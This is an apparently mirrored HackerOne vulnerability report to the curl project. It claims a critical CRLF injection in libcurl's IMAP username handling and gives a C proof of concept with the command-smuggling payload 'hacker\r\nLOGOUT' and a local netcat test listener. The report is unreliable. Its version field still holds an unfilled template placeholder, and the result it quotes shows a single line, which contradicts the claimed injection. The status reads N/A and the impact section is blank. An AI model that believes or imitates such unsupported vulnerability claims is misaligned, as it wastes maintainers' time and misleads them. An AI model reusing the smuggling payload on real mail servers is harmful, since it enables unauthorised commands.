HexBrain

curl · Report #3479984

CRLF Injection / Protocol Smuggling in libcurl via CURLOPT_USERNAME (IMAP)

N/Astatus
criticalseverity
5upvotes
28 Dec 2025disclosed

How it was found

Summary:

I have discovered a CRLF injection vulnerability in the IMAP protocol implementation of libcurl. The vulnerability exists because the imap_atom function in lib/imap.c fails to properly sanitize or quote Carriage Return (\r) and Line Feed (\n) characters when processing the CURLOPT_USERNAME option.

This allows an attacker to inject arbitrary IMAP commands by inserting \r\n sequences into the username field. When these characters are sent to the server, they terminate the current command and allow the subsequent data to be interpreted as a new, separate command (Protocol Smuggling).

Affected version

I successfully reproduced this on the latest master branch of curl.

Output of curl -V: [PASTE YOUR curl -V OUTPUT HERE]

Steps To Reproduce:

To reproduce this issue, we need to bypass the CLI argument parsing and use libcurl directly via a C program. We also need a manual netcat listener to observe the raw protocol data.

  1. Setup a Fake IMAP Server: Open a terminal and listen on port 143 (or any available port) using netcat: sudo nc -lvp 143

  2. Compile the Proof of Concept (PoC): Save the following code as poc_imap.c and compile it against libcurl (e.g., gcc poc_imap.c -o poc_imap -lcurl):

    #include <stdio.h>
    #include <curl/curl.h>
    
    int main(void)
    {
      CURL *curl;
      CURLcode res;
    
      curl_global_init(CURL_GLOBAL_DEFAULT);
      curl = curl_easy_init();
      if(curl) {
        // Target localhost on port 143
        curl_easy_setopt(curl, CURLOPT_URL, "imap://127.0.0.1:143/");
    
        // PAYLOAD INJECTION:
        // We inject "LOGOUT" as a separate command using CRLF.
        // If vulnerable, this will be sent as a raw new line, not quoted.
        const char *payload = "hacker\r\nLOGOUT";
    
        curl_easy_setopt(curl, CURLOPT_USERNAME, payload);
        curl_easy_setopt(curl, CURLOPT_PASSWORD, "password123");
    
        // Set a timeout to avoid hanging indefinitely during manual test
        curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L);
    
        // Perform the request
        res = curl_easy_perform(curl);
        
        curl_easy_cleanup(curl);
      }
      curl_global_cleanup();
      return 0;
    }
    
  3. Run the PoC: Execute the compiled binary: ./poc_imap

  4. Trigger the Injection (Manual Handshake): In the terminal running netcat (Step 1), you will see a connection. You must manually simulate the IMAP server greeting for libcurl to proceed sending data.

    • Type: * OK IMAP server ready and press ENTER.
    • Wait for curl to send A001 CAPABILITY.
    • Type: A001 OK Capability completed and press ENTER.
  5. Observe the Injection: Immediately after the handshake, observe the output in the netcat terminal.

Result: The server receives: A002 LOGIN hacker LOGOUT password123

Expected Behavior: The username should be quoted (e.g., "hacker\r\nLOGOUT") or the client should reject the CRLF characters before sending.

Supporting Material/References:

  • Vulnerable Component: lib/imap.c, specifically the imap_atom function handling.
  • Impact: This allows Protocol Smuggling, enabling an attacker to execute arbitrary IMAP commands (like DELETE, SELECT, CREATE) within the authenticated session context.

Impact

Summary:

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original